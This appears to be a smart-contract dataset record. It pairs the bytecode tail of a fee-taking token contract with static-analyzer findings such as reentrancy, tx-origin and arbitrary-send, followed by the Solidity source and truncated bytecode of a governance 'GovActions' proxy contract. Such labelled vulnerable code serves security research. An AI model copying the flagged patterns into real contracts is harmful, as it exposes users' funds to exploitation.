5b61208b565b6120888584836122f0565b92505b612096858585612413565b816120bd576120bd600f54600e556011546010556015546014556017546016556000601855565b5050505050565b600061210683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124b9565b9392505050565b600061210683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bf5565b600082600003612161575060006105a7565b600061216d8385612990565b90508261217a8583612af2565b146121065760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105d7565b6002546121e99030906001600160a01b0316846113f4565b600254601f5460405163f305d71960e01b81526001600160a01b039283169263f305d71992859261222992309289926000928392169042906004016129e4565b60606040518083038185885af1158015612247573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906120bd9190612a1f565b600e5415801561227c5750601054155b80156122885750601254155b80156122945750601454155b80156122a05750601654155b80156122ac5750601854155b156122b357565b600e8054600f5560108054601155601280546013556014805460155560168054601755601854601955600094859055928490559083905582905555565b600080600080600043600d54600c5461230991906129af565b106123205750606392506021915081905080612355565b612329866124e7565b9350851561234557601454925060165491506018549050612355565b600e549250601054915060125490505b60006123666064611f058a8861214f565b9050846123738583612990565b61237d9190612af2565b601a600082825461238e91906129af565b9091555085905061239f8483612990565b6123a99190612af2565b601b60008282546123ba91906129af565b909155508590506123cb8383612990565b6123d59190612af2565b601c60008282546123e691906129af565b909155505080156123fc576123fc893083612413565b6124068189612a6a565b9998505050505050505050565b6001600160a01b038316600090815260046020526040902054612436908261210d565b6001600160a01b038085166000908152600460205260408082209390935590841681522054612465908261251f565b6001600160a01b0380841660008181526004602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061150c9085815260200190565b600081836124da5760405162461bcd60e51b81526004016105d7919061257e565b506000611c268486612af2565b6000811561250c5760185460165460145461250291906129af565b6105a791906129af565b601254601054600e5461250291906129af565b60008061252c83856129af565b9050838110156121065760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105d7565b600060208083528351808285015260005b818110156125ab5785810183015185820160400152820161258f565b818111156125bd576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a2557600080fd5b80356125f3816125d3565b919050565b6000806040838503121561260b57600080fd5b8235612616816125d3565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b8015158114610a2557600080fd5b80356125f38161263a565b6000806040838503121561266657600080fd5b823567ffffffffffffffff8082111561267e57600080fd5b818501915085601f83011261269257600080fd5b81356020828211156126a6576126a6612624565b8160051b604051601f19603f830116810181811086821117156126cb576126cb612624565b6040529283528183019350848101820192898411156126e957600080fd5b948201945b8386101561270e576126ff866125e8565b855294820194938201936126ee565b965061271d9050878201612648565b9450505050509250929050565b60008060006060848603121561273f57600080fd5b505081359360208301359350604090920135919050565b60008060006060848603121561276b57600080fd5b8335612776816125d3565b92506020840135612786816125d3565b929592945050506040919091013590565b6000602082840312156127a957600080fd5b5035919050565b6000602082840312156127c257600080fd5b8135612106816125d3565b6000602082840312156127df57600080fd5b81356121068161263a565b600080604083850312156127fd57600080fd5b8235612808816125d3565b91506020830135612818816125d3565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016128965761289661286e565b5060010190565b600181815b808511156128d85781600019048211156128be576128be61286e565b808516156128cb57918102915b93841c93908002906128a2565b509250929050565b6000826128ef575060016105a7565b816128fc575060006105a7565b8160018114612912576002811461291c57612938565b60019150506105a7565b60ff84111561292d5761292d61286e565b50506001821b6105a7565b5060208310610133831016604e8410600b841016171561295b575081810a6105a7565b612965838361289d565b80600019048211156129795761297961286e565b029392505050565b600061210660ff8416836128e0565b60008160001904831182151516156129aa576129aa61286e565b500290565b600082198211156129c2576129c261286e565b500190565b6000602082840312156129d957600080fd5b8151612106816125d3565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215612a3457600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215612a5f57600080fd5b81516121068161263a565b600082821015612a7c57612a7c61286e565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612ad15784516001600160a01b031683529383019391830191600101612aac565b50506001600160a01b03969096166060850152505050608001529392505050565b600082612b0f57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202818c29c38a2f2423fe46e46005d732790b6d0a90436412bb68ebaf7df2e6af164736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,000 |
0xe3da59feda69b4d83a10eb383230aff439dd802b
|
pragma solidity 0.6.7;
abstract contract Setter {
function modifyParameters(bytes32, address) virtual public;
function modifyParameters(bytes32, uint) virtual public;
function modifyParameters(bytes32, int) virtual public;
function modifyParameters(bytes32, uint, uint) virtual public;
function modifyParameters(bytes32, uint, uint, address) virtual public;
function modifyParameters(bytes32, bytes32, uint) virtual public;
function modifyParameters(bytes32, bytes32, address) virtual public;
function setDummyPIDValidator(address) virtual public;
function addAuthorization(address) virtual public;
function removeAuthorization(address) virtual public;
function initializeCollateralType(bytes32) virtual public;
function updateAccumulatedRate() virtual public;
function redemptionPrice() virtual public;
function setTotalAllowance(address,uint256) virtual external;
function setPerBlockAllowance(address,uint256) virtual external;
function taxMany(uint256, uint256) virtual public;
function taxSingle(bytes32) virtual public;
function setAllowance(address, uint256) virtual external;
function connectSAFESaviour(address) virtual external;
function disconnectSAFESaviour(address) virtual external;
function addReader(address) virtual external;
function removeReader(address) virtual external;
function addAuthority(address) virtual external;
function removeAuthority(address) virtual external;
function changePriceSource(address) virtual external;
function stopFsm(bytes32) virtual external;
function setFsm(bytes32,address) virtual external;
function start() virtual external;
function changeNextPriceDeviation(uint) virtual external;
function setName(string calldata) virtual external;
function setSymbol(string calldata) virtual external;
function disableContract() virtual external;
function toggleSaviour(address) virtual external;
function setMinDesiredCollateralizationRatio(bytes32, uint256) virtual external;
function updateResult(uint256) virtual external;
}
abstract contract GlobalSettlementLike {
function shutdownSystem() virtual public;
function freezeCollateralType(bytes32) virtual public;
}
abstract contract PauseLike {
function setOwner(address) virtual public;
function setAuthority(address) virtual public;
function setDelay(uint) virtual public;
function setDelayMultiplier(uint) virtual public;
function setProtester(address) virtual public;
}
abstract contract MerkleDistributorFactoryLike {
function nonce() virtual public view returns (uint256);
function deployDistributor(bytes32, uint256) virtual external;
function sendTokensToDistributor(uint256) virtual external;
function sendTokensToCustom(address, uint256) virtual external;
function dropDistributorAuth(uint256) virtual external;
function getBackTokensFromDistributor(uint256, uint256) virtual external;
}
abstract contract StakingRewardsFactoryLike {
function totalCampaignCount() virtual public view returns (uint256);
function modifyParameters(uint256, bytes32, uint256) virtual public;
function transferTokenOut(address, address, uint256) virtual public;
function deploy(address, uint256, uint256) virtual public;
function notifyRewardAmount(uint256) virtual public;
}
abstract contract DSTokenLike {
function mint(address, uint) virtual public;
function burn(address, uint) virtual public;
}
contract GovActions {
uint constant internal RAY = 10 ** 27;
function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "GovActions/sub-uint-uint-underflow");
}
function disableContract(address targetContract) public {
Setter(targetContract).disableContract();
}
function modifyParameters(address targetContract, uint256 campaign, bytes32 parameter, uint256 val) public {
StakingRewardsFactoryLike(targetContract).modifyParameters(campaign, parameter, val);
}
function transferTokenOut(address targetContract, address token, address receiver, uint256 amount) public {
StakingRewardsFactoryLike(targetContract).transferTokenOut(token, receiver, amount);
}
function deploy(address targetContract, address stakingToken, uint rewardAmount, uint duration) public {
StakingRewardsFactoryLike(targetContract).deploy(stakingToken, rewardAmount, duration);
}
function notifyRewardAmount(address targetContract, uint256 campaignNumber) public {
StakingRewardsFactoryLike(targetContract).notifyRewardAmount(campaignNumber);
}
function deployAndNotifyRewardAmount(address targetContract, address stakingToken, uint rewardAmount, uint duration) public {
StakingRewardsFactoryLike(targetContract).deploy(stakingToken, rewardAmount, duration);
uint256 campaignNumber = subtract(StakingRewardsFactoryLike(targetContract).totalCampaignCount(), 1);
StakingRewardsFactoryLike(targetContract).notifyRewardAmount(campaignNumber);
}
function modifyParameters(address targetContract, bytes32 parameter, address data) public {
Setter(targetContract).modifyParameters(parameter, data);
}
function modifyParameters(address targetContract, bytes32 parameter, uint data) public {
Setter(targetContract).modifyParameters(parameter, data);
}
function modifyParameters(address targetContract, bytes32 parameter, int data) public {
Setter(targetContract).modifyParameters(parameter, data);
}
function modifyParameters(address targetContract, bytes32 collateralType, bytes32 parameter, uint data) public {
Setter(targetContract).modifyParameters(collateralType, parameter, data);
}
function modifyParameters(address targetContract, bytes32 collateralType, bytes32 parameter, address data) public {
Setter(targetContract).modifyParameters(collateralType, parameter, data);
}
function modifyParameters(address targetContract, bytes32 parameter, uint data1, uint data2) public {
Setter(targetContract).modifyParameters(parameter, data1, data2);
}
function modifyParameters(address targetContract, bytes32 collateralType, uint data1, uint data2, address data3) public {
Setter(targetContract).modifyParameters(collateralType, data1, data2, data3);
}
function modifyTwoParameters(
address targetContract1,
address targetContract2,
bytes32 parameter1,
bytes32 parameter2,
uint data1,
uint data2
) public {
Setter(targetContract1).modifyParameters(parameter1, data1);
Setter(targetContract2).modifyParameters(parameter2, data2);
}
function modifyTwoParameters(
address targetContract1,
address targetContract2,
bytes32 parameter1,
bytes32 parameter2,
int data1,
int data2
) public {
Setter(targetContract1).modifyParameters(parameter1, data1);
Setter(targetContract2).modifyParameters(parameter2, data2);
}
function modifyTwoParameters(
address targetContract1,
address targetContract2,
bytes32 collateralType1,
bytes32 collateralType2,
bytes32 parameter1,
bytes32 parameter2,
uint data1,
uint data2
) public {
Setter(targetContract1).modifyParameters(collateralType1, parameter1, data1);
Setter(targetContract2).modifyParameters(collateralType2, parameter2, data2);
}
function removeAuthorizationAndModify(
address targetContract,
address to,
bytes32 parameter,
uint data
) public {
Setter(targetContract).removeAuthorization(to);
Setter(targetContract).modifyParameters(parameter, data);
}
function updateRateAndModifyParameters(address targetContract, bytes32 parameter, uint data) public {
Setter(targetContract).updateAccumulatedRate();
Setter(targetContract).modifyParameters(parameter, data);
}
function taxManyAndModifyParameters(address targetContract, uint start, uint end, bytes32 parameter, uint data) public {
Setter(targetContract).taxMany(start, end);
Setter(targetContract).modifyParameters(parameter, data);
}
function taxSingleAndModifyParameters(address targetContract, bytes32 collateralType, bytes32 parameter, uint data) public {
Setter(targetContract).taxSingle(collateralType);
Setter(targetContract).modifyParameters(collateralType, parameter, data);
}
function updateRedemptionRate(address targetContract, bytes32 parameter, uint data) public {
Setter(targetContract).redemptionPrice();
Setter(targetContract).modifyParameters(parameter, data);
}
function setDummyPIDValidator(address rateSetter, address oracleRelayer, address dummyValidator) public {
Setter(rateSetter).modifyParameters("pidValidator", dummyValidator);
Setter(oracleRelayer).redemptionPrice();
Setter(oracleRelayer).modifyParameters("redemptionRate", RAY);
}
function toggleSaviour(address targetContract, address saviour) public {
Setter(targetContract).toggleSaviour(saviour);
}
function addReader(address validator, address reader) public {
Setter(validator).addReader(reader);
}
function removeReader(address validator, address reader) public {
Setter(validator).removeReader(reader);
}
function addAuthority(address validator, address account) public {
Setter(validator).addAuthority(account);
}
function removeAuthority(address validator, address account) public {
Setter(validator).removeAuthority(account);
}
function connectSAFESaviour(address targetContract, address saviour) public {
Setter(targetContract).connectSAFESaviour(saviour);
}
function disconnectSAFESaviour(address targetContract, address saviour) public {
Setter(targetContract).disconnectSAFESaviour(saviour);
}
function setTotalAllowance(address targetContract, address account, uint256 rad) public {
Setter(targetContract).setTotalAllowance(account, rad);
}
function setPerBlockAllowance(address targetContract, address account, uint256 rad) public {
Setter(targetContract).setPerBlockAllowance(account, rad);
}
function addAuthorization(address targetContract, address to) public {
Setter(targetContract).addAuthorization(to);
}
function removeAuthorization(address targetContract, address to) public {
Setter(targetContract).removeAuthorization(to);
}
function initializeCollateralType(address targetContract, bytes32 collateralType) public {
Setter(targetContract).initializeCollateralType(collateralType);
}
function changePriceSource(address fsm, address priceSource) public {
Setter(fsm).changePriceSource(priceSource);
}
function stopFsm(address fsmGovInterface, bytes32 collateralType) public {
Setter(fsmGovInterface).stopFsm(collateralType);
}
function setFsm(address fsmGovInterface, bytes32 collateralType, address fsm) public {
Setter(fsmGovInterface).setFsm(collateralType, fsm);
}
function start(address fsm) public {
Setter(fsm).start();
}
function setName(address coin, string memory name) public {
Setter(coin).setName(name);
}
function setSymbol(address coin, string memory symbol) public {
Setter(coin).setSymbol(symbol);
}
function changeNextPriceDeviation(address fsm, uint deviation) public {
Setter(fsm).changeNextPriceDeviation(deviation);
}
function shutdownSystem(address globalSettlement) public {
GlobalSettlementLike(globalSettlement).shutdownSystem();
}
function setAuthority(address pause, address newAuthority) public {
PauseLike(pause).setAuthority(newAuthority);
}
function setOwner(address pause, address owner) public {
PauseLike(pause).setOwner(owner);
}
function setProtester(address pause, address protester) public {
PauseLike(pause).setProtester(protester);
}
function setDelay(address pause, uint newDelay) public {
PauseLike(pause).setDelay(newDelay);
}
function setAuthorityAndDelay(address pause, address newAuthority, uint newDelay) public {
PauseLike(pause).setAuthority(newAuthority);
PauseLike(pause).setDelay(newDelay);
}
function setDelayMultiplier(address pause, uint delayMultiplier) public {
PauseLike(pause).setDelayMultiplier(delayMultiplier);
}
function setAllowance(address join, address account, uint allowance) public {
Setter(join).setAllowance(account, allowance);
}
function multiSetAllowance(address join, address[] memory accounts, uint[] memory allowances) public {
for (uint i = 0; i < accounts.length; i++) {
Setter(join).setAllowance(accounts[i], allowances[i]);
}
}
function mint(address token, address guy, uint wad) public {
DSTokenLike(token).mint(guy, wad);
}
function burn(address token, address guy, uint wad) public {
DSTokenLike(token).burn(guy, wad);
}
function deployDistributor(address target, bytes32 merkleRoot, uint256 amount) public {
MerkleDistributorFactoryLike(target).deployDistributor(merkleRoot, amount);
}
function deployDistributorAndSendTokens(address target, bytes32 merkleRoot, uint256 amount) public {
MerkleDistributorFactoryLike(target).deployDistributor(merkleRoot, amount);
MerkleDistributorFactoryLike(target).sendTokensToDistributor(MerkleDistributorFactoryLike(target).nonce());
}
function sendTokensToDistributor(address target, uint256 id) public {
MerkleDistributorFactoryLike(target).sendTokensToDistributor(id);
}
function sendTokensToCustom(address target, address dst, uint256 amount) public {
MerkleDistributorFactoryLike(target).sendTokensToCustom(dst, amount);
}
function dropDistributorAuth(address target, uint256 id) public {
MerkleDistributorFactoryLike(target).dropDistributorAuth(id);
}
function getBackTokensFromDistributor(address target, uint256 id, uint256 amount) public {
MerkleDistributorFactoryLike(target).getBackTokensFromDistributor(id, amount);
}
function setIncreasingRewardsParams(address target, uint256 baseUpdateCallerReward, uint256 maxUpdateCallerReward) public {
Setter(target).modifyParameters("baseUpdateCallerReward", baseUpdateCallerReward);
Setter(target).modifyParameters("maxUpdateCallerReward", maxUpdateCallerReward);
}
function setIncreasingRewardsParamsAndAllowances(address target, address treasury, uint256 baseUpdateCallerReward, uint256 maxUpdateCallerReward, uint256 perBlockAllowance, uint256 totalAllowance) public {
Setter(target).modifyParameters("baseUpdateCallerReward", baseUpdateCallerReward);
Setter(target).modifyParameters("maxUpdateCallerReward", maxUpdateCallerReward);
Setter(treasury).setPerBlockAllowance(target, perBlockAllowance);
Setter(treasury).setTotalAllowance(target, totalAllowance);
}
function setMinDesiredCollateralizationRatio(address target, bytes32 collateralType, uint256 cRatio) public {
Setter(target).setMinDesiredCollateralizationRatio(collateralType, cRatio);
}
function updateResult(address target, uint256 result) public {
Setter(target).updateResult(result);
}
}
|
0x608060405234801561001057600080fd5b50600436106103ba5760003560e01c8063801b67fd116101f4578063cd4f191b1161011a578063ecf987ef116100ad578063f74b020c1161007c578063f74b020c14611167578063f7788dc6146111a3578063f98e426a146111d5578063fe71d56d1461120b576103ba565b8063ecf987ef1461109b578063f35a75e0146110cd578063f4922c1a14611105578063f6b911bc14611131576103ba565b8063e1d936f8116100e9578063e1d936f814610f5b578063e7796f331461100f578063eb40b4251461103d578063eb57563a14611069576103ba565b8063cd4f191b14610e9d578063d9c6f87614610ec9578063da46098c14610eff578063dd0b281e14610f35576103ba565b8063af5baa1411610192578063bbcf1a5d11610161578063bbcf1a5d14610dd3578063c2c7986714610e01578063c6c3bbe614610e39578063c9cf6de714610e6f576103ba565b8063af5baa1414610c1a578063b66503cf14610c46578063baf9d07b14610c72578063bbbb704c14610ca0576103ba565b806396869ded116101ce57806396869ded14610b3b5780639bc8c65714610b90578063a154ce8214610bc6578063a27473c814610bec576103ba565b8063801b67fd14610a9f5780638eb0ee6014610ad757806396074fd214610b0d576103ba565b80634483c924116102e4578063671384fa1161027757806372a611781161024657806372a61178146109ad57806373986106146109f5578063764838c514610a2d5780637eb711df14610a69576103ba565b8063671384fa146108b95780636d21e4e2146108fb5780636ea83dd3146109275780636f64a97d1461096f576103ba565b80635dac5682116102b35780635dac5682146107ed5780635dadd57a1461081b5780636672b137146108555780636689243014610887576103ba565b80634483c92414610717578063485035681461075f578063505f74f11461078d5780635622b051146107bf576103ba565b80632b0466c51161035c57806332dc77231161032b57806332dc772314610653578063352e1a851461068157806339f8c5bb146106b3578063434eff7f146106df576103ba565b80632b0466c5146105195780632b8e88b31461054b5780633013f41e146105795780633121db1c1461059f576103ba565b80631693769b116103985780631693769b146104575780631cdcb5ce14610493578063284372e8146104bf578063299a7bcc146104eb576103ba565b806303cb351c146103bf57806308eb17f5146103f757806310c6309914610429575b600080fd5b6103f5600480360360608110156103d557600080fd5b506001600160a01b03813581169160208101359091169060400135611247565b005b6103f56004803603606081101561040d57600080fd5b506001600160a01b0381351690602081013590604001356112c4565b6103f56004803603604081101561043f57600080fd5b506001600160a01b0381358116916020013516611365565b6103f56004803603608081101561046d57600080fd5b506001600160a01b038135811691602081013590911690604081013590606001356113d9565b6103f5600480360360408110156104a957600080fd5b506001600160a01b038135169060200135611450565b6103f5600480360360408110156104d557600080fd5b506001600160a01b038135169060200135611496565b6103f56004803603604081101561050157600080fd5b506001600160a01b03813581169160200135166114dc565b6103f56004803603606081101561052f57600080fd5b506001600160a01b038135169060208101359060400135611534565b6103f56004803603604081101561056157600080fd5b506001600160a01b0381358116916020013516611582565b6103f56004803603602081101561058f57600080fd5b50356001600160a01b03166115da565b6103f5600480360360408110156105b557600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156105df57600080fd5b8201836020820111156105f157600080fd5b803590602001918460018302840111600160201b8311171561061257600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611630945050505050565b6103f56004803603604081101561066957600080fd5b506001600160a01b03813581169160200135166116d6565b6103f56004803603606081101561069757600080fd5b506001600160a01b03813516906020810135906040013561172e565b6103f5600480360360408110156106c957600080fd5b506001600160a01b03813516906020013561177c565b6103f5600480360360808110156106f557600080fd5b506001600160a01b0381351690602081013590604081013590606001356117c2565b6103f5600480360360c081101561072d57600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060808101359060a00135611818565b6103f56004803603604081101561077557600080fd5b506001600160a01b0381358116916020013516611a0d565b6103f5600480360360608110156107a357600080fd5b506001600160a01b038135169060208101359060400135611a65565b6103f5600480360360408110156107d557600080fd5b506001600160a01b0381358116916020013516611ab3565b6103f56004803603604081101561080357600080fd5b506001600160a01b0381358116916020013516611b0b565b6103f56004803603608081101561083157600080fd5b506001600160a01b0381358116916020810135916040820135916060013516611b63565b6103f56004803603606081101561086b57600080fd5b506001600160a01b038135169060208101359060400135611bbc565b6103f56004803603606081101561089d57600080fd5b506001600160a01b038135169060208101359060400135611cd4565b6103f5600480360360a08110156108cf57600080fd5b506001600160a01b03813581169160208101359160408201359160608101359160809091013516611d22565b6103f56004803603604081101561091157600080fd5b506001600160a01b038135169060200135611da1565b6103f5600480360360c081101561093d57600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060808101359060a00135611de7565b6103f5600480360360a081101561098557600080fd5b506001600160a01b038135169060208101359060408101359060608101359060800135611e9b565b6103f5600480360360c08110156109c357600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060808101359060a00135611f4f565b6103f560048036036080811015610a0b57600080fd5b506001600160a01b038135169060208101359060408101359060600135612003565b6103f560048036036080811015610a4357600080fd5b506001600160a01b03813581169160208101358216916040820135169060600135612059565b6103f560048036036060811015610a7f57600080fd5b506001600160a01b038135811691602081013591604090910135166120b3565b6103f560048036036080811015610ab557600080fd5b506001600160a01b038135169060208101359060408101359060600135612113565b6103f560048036036060811015610aed57600080fd5b506001600160a01b03813581169160208101359160409091013516612169565b6103f560048036036040811015610b2357600080fd5b506001600160a01b03813581169160200135166121c9565b6103f56004803603610100811015610b5257600080fd5b506001600160a01b03813581169160208101359091169060408101359060608101359060808101359060a08101359060c08101359060e00135612221565b6103f560048036036060811015610ba657600080fd5b506001600160a01b03813581169160208101359091169060400135612307565b6103f560048036036020811015610bdc57600080fd5b50356001600160a01b0316612367565b6103f560048036036040811015610c0257600080fd5b506001600160a01b03813581169160200135166123a2565b6103f560048036036040811015610c3057600080fd5b506001600160a01b0381351690602001356123fa565b6103f560048036036040811015610c5c57600080fd5b506001600160a01b038135169060200135612440565b6103f560048036036040811015610c8857600080fd5b506001600160a01b0381358116916020013516612486565b6103f560048036036060811015610cb657600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610ce057600080fd5b820183602082011115610cf257600080fd5b803590602001918460208302840111600160201b83111715610d1357600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610d6257600080fd5b820183602082011115610d7457600080fd5b803590602001918460208302840111600160201b83111715610d9557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506124de945050505050565b6103f560048036036040811015610de957600080fd5b506001600160a01b038135811691602001351661259a565b6103f560048036036060811015610e1757600080fd5b506001600160a01b0381358116916020810135821691604090910135166125f2565b6103f560048036036060811015610e4f57600080fd5b506001600160a01b03813581169160208101359091169060400135612727565b6103f560048036036040811015610e8557600080fd5b506001600160a01b0381358116916020013516612787565b6103f560048036036040811015610eb357600080fd5b506001600160a01b0381351690602001356127df565b6103f560048036036060811015610edf57600080fd5b506001600160a01b03813581169160208101359091169060400135612825565b6103f560048036036060811015610f1557600080fd5b506001600160a01b038135811691602081013590911690604001356128db565b6103f560048036036020811015610f4b57600080fd5b50356001600160a01b031661293b565b6103f560048036036040811015610f7157600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610f9b57600080fd5b820183602082011115610fad57600080fd5b803590602001918460018302840111600160201b83111715610fce57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550612976945050505050565b6103f56004803603604081101561102557600080fd5b506001600160a01b03813581169160200135166129cd565b6103f56004803603604081101561105357600080fd5b506001600160a01b038135169060200135612a25565b6103f56004803603606081101561107f57600080fd5b506001600160a01b038135169060208101359060400135612a6b565b6103f5600480360360608110156110b157600080fd5b506001600160a01b038135169060208101359060400135612aa6565b6103f5600480360360808110156110e357600080fd5b506001600160a01b038135169060208101359060408101359060600135612af4565b6103f56004803603604081101561111b57600080fd5b506001600160a01b038135169060200135612ba8565b6103f56004803603606081101561114757600080fd5b506001600160a01b03813581169160208101359091169060400135612bee565b6103f56004803603608081101561117d57600080fd5b506001600160a01b03813581169160208101359091169060408101359060600135612c4e565b6103f5600480360360608110156111b957600080fd5b506001600160a01b038135169060208101359060400135612d0c565b6103f5600480360360608110156111eb57600080fd5b506001600160a01b03813581169160208101359091169060400135612df1565b6103f56004803603608081101561122157600080fd5b506001600160a01b03813581169160208101359091169060408101359060600135612e51565b826001600160a01b0316633d285a6f83836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156112a757600080fd5b505af11580156112bb573d6000803e3d6000fd5b50505050505050565b826001600160a01b03166364dbfd816040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156112ff57600080fd5b505af1158015611313573d6000803e3d6000fd5b50505050826001600160a01b031663fe4f589083836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b1580156112a757600080fd5b816001600160a01b031663960e2101826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b1580156113bd57600080fd5b505af11580156113d1573d6000803e3d6000fd5b505050505050565b604080516319fb4a8f60e31b81526001600160a01b038581166004830152602482018590526044820184905291519186169163cfda54789160648082019260009290919082900301818387803b15801561143257600080fd5b505af1158015611446573d6000803e3d6000fd5b5050505050505050565b816001600160a01b0316631d70e433826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156113bd57600080fd5b816001600160a01b031663bee9cd81826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156113bd57600080fd5b816001600160a01b03166313af4035826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b1580156113bd57600080fd5b826001600160a01b0316636611ac3583836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b1580156112a757600080fd5b816001600160a01b03166338d65d11826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b1580156113bd57600080fd5b806001600160a01b031663354af9196040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561161557600080fd5b505af1158015611629573d6000803e3d6000fd5b5050505050565b60405163c47f002760e01b81526020600482018181528351602484015283516001600160a01b0386169363c47f00279386939283926044019185019080838360005b8381101561168a578181015183820152602001611672565b50505050905090810190601f1680156116b75780820380516001836020036101000a031916815260200191505b5092505050600060405180830381600087803b1580156113bd57600080fd5b816001600160a01b031663c315fc6a826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b1580156113bd57600080fd5b826001600160a01b0316633cdaf64b83836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b1580156112a757600080fd5b816001600160a01b0316635e412858826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156113bd57600080fd5b836001600160a01b031663d4b9311d8484846040518463ffffffff1660e01b8152600401808481526020018381526020018281526020019350505050600060405180830381600087803b15801561143257600080fd5b856001600160a01b031663fe4f5890856040518263ffffffff1660e01b815260040180807518985cd9555c19185d1950d85b1b195c94995dd85c9960521b815250602001828152602001915050600060405180830381600087803b15801561187f57600080fd5b505af1158015611893573d6000803e3d6000fd5b50505050856001600160a01b031663fe4f5890846040518263ffffffff1660e01b81526004018080741b585e155c19185d1950d85b1b195c94995dd85c99605a1b815250602001828152602001915050600060405180830381600087803b1580156118fd57600080fd5b505af1158015611911573d6000803e3d6000fd5b50505050846001600160a01b0316633d285a6f87846040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561197557600080fd5b505af1158015611989573d6000803e3d6000fd5b50505050846001600160a01b03166343e9c6b087836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b1580156119ed57600080fd5b505af1158015611a01573d6000803e3d6000fd5b50505050505050505050565b816001600160a01b031663afd8b1d1826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b1580156113bd57600080fd5b826001600160a01b0316639b06c41883836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b1580156112a757600080fd5b816001600160a01b0316633fcdfe26826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b1580156113bd57600080fd5b816001600160a01b03166394f3f81d826040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050600060405180830381600087803b1580156113bd57600080fd5b6040805163289d1edd60e11b815260048101859052602481018490526001600160a01b03838116604483015291519186169163513a3dba9160648082019260009290919082900301818387803b15801561143257600080fd5b826001600160a01b0316633cdaf64b83836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b158015611c0a57600080fd5b505af1158015611c1e573d6000803e3d6000fd5b50505050826001600160a01b0316631d70e433846001600160a01b031663affed0e06040518163ffffffff1660e01b815260040160206040518083038186803b158015611c6a57600080fd5b505afa158015611c7e573d6000803e3d6000fd5b505050506040513d6020811015611c9457600080fd5b5051604080516001600160e01b031960e085901b168152600481019290925251602480830192600092919082900301818387803b1580156112a757600080fd5b826001600160a01b031663610a714a83836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b1580156112a757600080fd5b604080516324341e0160e01b81526004810186905260248101859052604481018490526001600160a01b0383811660648301529151918716916324341e019160848082019260009290919082900301818387803b158015611d8257600080fd5b505af1158015611d96573d6000803e3d6000fd5b505050505050505050565b816001600160a01b031663e177246e826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156113bd57600080fd5b856001600160a01b031663fe4f589085846040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b158015611e3557600080fd5b505af1158015611e49573d6000803e3d6000fd5b50505050846001600160a01b031663fe4f589084836040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b1580156119ed57600080fd5b846001600160a01b031663e372ee44858560